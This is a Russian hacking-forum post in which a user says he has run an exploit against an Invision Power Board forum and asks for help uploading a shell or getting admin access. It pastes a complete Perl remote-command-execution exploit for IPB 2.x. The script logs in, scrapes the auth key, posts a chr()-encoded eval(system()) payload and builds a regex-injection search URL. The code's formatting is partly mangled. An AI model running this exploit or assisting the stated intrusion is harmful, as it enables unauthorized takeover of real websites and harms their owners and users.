Показать сообщение отдельно

Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла
  #1  
Старый 27.10.2006, 16:22
samsam
Новичок
Регистрация: 27.10.2006
Сообщений: 12
Провел на форуме:
20350

Репутация: -7
По умолчанию Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла

Кароч расклад такой...

Воспользовался сплоитом

все ок команды выполняются.
ТОлько вот шелл заоить не могу, видимо отключены команды.

ПОДСКАЖИТЕ ПЛИЗ КАК, сломать форум иль заити как АДМИН зарание благодарен САМ.


PHP код:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use 
Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     $opt_h;
$dir      $opt_d;
$login    $opt_l;
$password $opt_p;
$forum    $opt_f;
$version  $opt_v || 0;

$|++;

header();
if(!
$host||!$dir||!$login||!$password||!$forum) { usage(); }

print 
"[~]    SERVER : $host\r\n";
print 
"[~]      PATH : $dir\r\n";
print 
"[~]     LOGIN : $login\r\n";
print 
"[~]  PASSWORD : $password\r\n";
print 
"[~]    TARGET : $version";
print ((
$version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print 
"\r\n";

{
print 
"\r\nCommand for execute or 'exit' for exit ";
while(<
STDIN>)
{
        
$cmd=$_;
        
chomp($cmd);
        exit() if (
$cmd eq 'exit');
        
last;
     }
     
$len length($cmd);
     for (
$i=0$i<$len$i++)
        {
         
$s substr($cmd,$i,1);
         
$out.="chr(".ord($s).")";
         if(
$i != $len-1
            {
             
$out.=".";
            }
          
        }
    
$out "$out)."."chr(59).exit";
 }

print 
"[~] Login ... ";

$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     'UserName='.$login.'&PassWord='.$password;
$loggedin 0;
print 
$sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Connection: close\r\n";
print 
$sock "Content-Type: application/x-www-form-urlencoded\n";
print 
$sock "Content-length: ".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
{  
 if(/
session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
print 
$sock "GET ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
{    
 if(/
act=Login&amp;CODE=03/) { $loggedin 1last; }
}
if(
$loggedin) { print " [ DONE ]\r\n"; }
else { print 
" [ FAILED ]\r\n"; exit(); }

print 
"[+] SID: $sid\r\n";

print 
"[~] Try get md5_check ...";
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
if(
$version==1)
 {
 print 
$sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print 
$sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
 {  
 if(
$version == && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if(
$version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close(
$sock);
if(
$md5_check) { print " DONE ]\r\n"; print "[+] MD5_CHECK $md5_check\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

print "
[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'eval(system('.$out.'()); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print 
$sock "POST ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
 {  
 if(/Location:/) { 
$created = 1; last; }
 }
if(
$created) { print " DONE ]\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "
[~] Search message ...";
$post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print 
$sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";

while (<
$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { 
$searchid = $1; last; }
 }

if(
$searchid) { print " DONE ]\r\n"; }
else { print "
FAILED ]\r\n"; exit(); }
print "
[+] SEARCHID$searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00';
print "
Go to URL:\".$host.$dir.$get."";

sub header()
 {
 print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";   
 print " 
Invision Power Board 2.commands execution exploit by RST/GHC\r\n";
 print "                    
eDiTeD by DimaHbl4\r\n";
 print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print "
r57ipbce.pl -<host> -<dir> -<login> -<password> -<forum> -<version>\r\n\r\n";
 print "
<host>     - host where IPB installed e.g www.ipb.com\r\n";
 print "
<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print "
<login>    - login of any exist user\r\n";
 print "
<password> - and password too )\r\n";
 print "
<forum>    - number of forum where user can create topic e.g 2,4etc\r\n";
 print "
<version>  - forum version:\r\n";
 print "             
2.0.*\r\n";
 print "             
2.1.*\r\n";
 exit();
 } 
 
Ответить с цитированием